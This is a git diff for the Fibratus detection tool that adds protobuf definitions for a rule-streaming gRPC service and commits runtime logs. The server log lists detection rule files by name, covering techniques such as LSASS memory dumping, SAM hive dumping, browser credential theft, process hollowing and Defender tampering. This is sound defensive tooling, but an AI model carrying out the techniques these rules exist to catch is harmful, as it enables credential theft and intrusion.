diff --git a/.gitignore b/.gitignore index d5623a6ba..0c8edbad1 100644 --- a/.gitignore +++ b/.gitignore @@ -7,9 +7,12 @@ cmd/systray/fibratus-systray.syso pkg/outputs/eventlog/mc/* !pkg/outputs/eventlog/mc/gen.go +api/protobuf/* + build/msi/fibratus-* build/msi/*.wixpdb build/msi/*.msi .idea +.zed filaments/__pycache__ diff --git a/api/README.md b/api/README.md new file mode 100644 index 000000000..e69de29bb diff --git a/api/buf.gen.yaml b/api/buf.gen.yaml new file mode 100644 index 000000000..49f65d5e0 --- /dev/null +++ b/api/buf.gen.yaml @@ -0,0 +1,15 @@ +version: v2 +managed: + enabled: true + override: + - file_option: go_package_prefix + value: github.com/fibratus/api/proto +plugins: + - remote: buf.build/protocolbuffers/go + out: protobuf + opt: paths=source_relative + - remote: buf.build/grpc/go + out: protobuf + opt: paths=source_relative +inputs: + - directory: proto diff --git a/api/buf.yaml b/api/buf.yaml new file mode 100644 index 000000000..c7e30e381 --- /dev/null +++ b/api/buf.yaml @@ -0,0 +1,9 @@ +version: v2 +modules: + - path: proto +lint: + use: + - STANDARD +breaking: + use: + - FILE diff --git a/api/proto/endpoints/v1/endpoint.proto b/api/proto/endpoints/v1/endpoint.proto new file mode 100644 index 000000000..a29bdfd27 --- /dev/null +++ b/api/proto/endpoints/v1/endpoint.proto @@ -0,0 +1,26 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +syntax = "proto3"; + +package endpoints.v1; + +message Endpoint { + string id = 1; + string version = 2; +} diff --git a/api/proto/rules/v1/action.proto b/api/proto/rules/v1/action.proto new file mode 100644 index 000000000..2e93e424d --- /dev/null +++ b/api/proto/rules/v1/action.proto @@ -0,0 +1,36 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +syntax = "proto3"; + +package rules.v1; + +message Kill { + +} + +message Isolate { + +} + +message Action { + oneof action { + Kill kill = 1; + Isolate isolate = 2; + } +} diff --git a/api/proto/rules/v1/rule.proto b/api/proto/rules/v1/rule.proto new file mode 100644 index 000000000..a97c8c405 --- /dev/null +++ b/api/proto/rules/v1/rule.proto @@ -0,0 +1,84 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +syntax = "proto3"; + +package rules.v1; + +import "rules/v1/action.proto"; + +enum Type { + TYPE_UNSPECIFIED = 0; + TYPE_BEHAVIOUR = 1; + TYPE_YARA = 2; +} + +message Label { + string key = 1; + string value = 2; +} + +message Rule { + Type type = 1; + string id = 2; + string name = 3; + string description = 4; + string version = 5; + string min_engine_version = 6; + string condition = 7; + string patterns = 8; + optional string output = 9; + bool enabled = 10; + repeated Action action = 11; + repeated string tags = 12; + repeated string imports = 13; + repeated Label labels = 14; +} + +message Macro { + string id = 1; + optional string description = 2; + string expr = 3; + repeated string list = 4; +} + +message RuleSet { + repeated Macro macros = 1; + repeated Rule rules = 2; +} + +message ListRequest { + bool list_yara = 1; +} + +message ListResponse { + RuleSet ruleset = 1; +} + +message StreamRequest { + string endpoint_id = 1; +} + +message StreamResponse { + RuleSet ruleset = 1; +} + +service RuleService { + rpc List(ListRequest) returns (ListResponse); + rpc Stream(StreamRequest) returns (stream StreamResponse); +} diff --git a/cmd/Logs/fibratus-server.log b/cmd/Logs/fibratus-server.log new file mode 100644 index 000000000..9c75c7b92 --- /dev/null +++ b/cmd/Logs/fibratus-server.log @@ -0,0 +1,154 @@ +time=2025-11-06T16:52:11+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:75 +time=2025-11-06T16:52:11+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:82 +time=2025-11-06T16:53:27+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:75 +time=2025-11-06T16:54:46+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:82 +time=2025-11-06T16:55:28+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:75 +time=2025-11-06T16:55:28+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:82 +time=2025-11-06T16:56:19+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:75 +time=2025-11-06T16:56:19+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:82 +time=2025-11-06T16:56:32+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:75 +time=2025-11-06T16:58:01+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:82 +time=2025-11-06T16:59:48+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:77 +time=2025-11-06T16:59:55+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:00:05+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:00:15+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:00:25+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:00:35+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:00:45+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:00:55+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:01:05+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:01:15+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:01:25+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:01:35+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:01:45+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:01:55+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:02:05+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:02:15+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:02:25+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:02:35+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:02:45+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:02:47+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:84 +time=2025-11-06T17:03:07+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:77 +time=2025-11-06T17:03:15+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:03:25+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:03:35+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:03:45+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:03:55+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:04:05+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:04:15+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:04:25+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:04:25+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:84 +time=2025-11-06T17:13:47+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:77 +time=2025-11-06T17:13:51+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:14:01+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:14:11+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:14:21+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:14:29+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:84 +time=2025-11-06T17:14:58+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:77 +time=2025-11-06T17:15:01+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:15:11+01:00 level=info msg=sending ruleset message source=grpc/rule.go:139 +time=2025-11-06T17:15:15+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:84 +time=2025-11-06T22:46:21+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T22:47:14+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:06:23+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:07:47+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:12:37+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:14:52+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:15:24+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:16:29+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:16:50+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:17:17+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:24:25+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:24:31+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:25:33+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:25:38+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:36:30+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:36:36+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:37:43+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:37:50+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-11-06T23:39:14+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:59 +time=2025-11-06T23:39:15+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:66 +time=2025-12-15T18:25:40+01:00 level=info msg=new endpoint connected for rule streaming source=grpc/rule.go:56 +time=2025-12-15T18:25:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=rules/loader.go:180 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=rules/loader.go:191 +time=2025-12-15T18:25:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=rules/loader.go:191 +time=2025-12-15T18:25:51+01:00 level=info msg=endpoint disconnected from rule streaming source=grpc/rule.go:63 diff --git a/cmd/Logs/fibratus.log b/cmd/Logs/fibratus.log new file mode 100644 index 000000000..25e6f40f3 --- /dev/null +++ b/cmd/Logs/fibratus.log @@ -0,0 +1,213758 @@ +time=2025-11-03T21:43:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T21:43:33+01:00 level=info msg=bootstrapping with pid 16624. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T21:43:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true max-buffers=>36 enable-dns=>false min-buffers=>16 enable-image=>true stack-enrichment=>true flush-interval=>1s enable-registry=>true enable-fileio=>true enable-net=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-threadpool=>false enable-mem=>false enable-thread=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 formatter=>text max-size=>100 level=>info] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient routing-key=>fibratus enabled=>false vhost=>/ exchange=>fibratus durable=>false exchange-type=>topic timeout=>5s url=>amqp://localhost:5672] elasticsearch=>[ healthcheck=>true flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s enabled=>false timeout=>5s index-name=>fibratus healthcheck-interval=>10s trace-log=>false template-name=>fibratus bulk-workers=>1] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] timeout=>5s method=>POST enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false skip-allocs=>false excluded-procs=>[] skip-files=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T21:43:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:43:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:44:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T21:44:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T21:44:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T21:45:26+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T21:45:26+01:00 level=info msg=bootstrapping with pid 14600. Version: dev 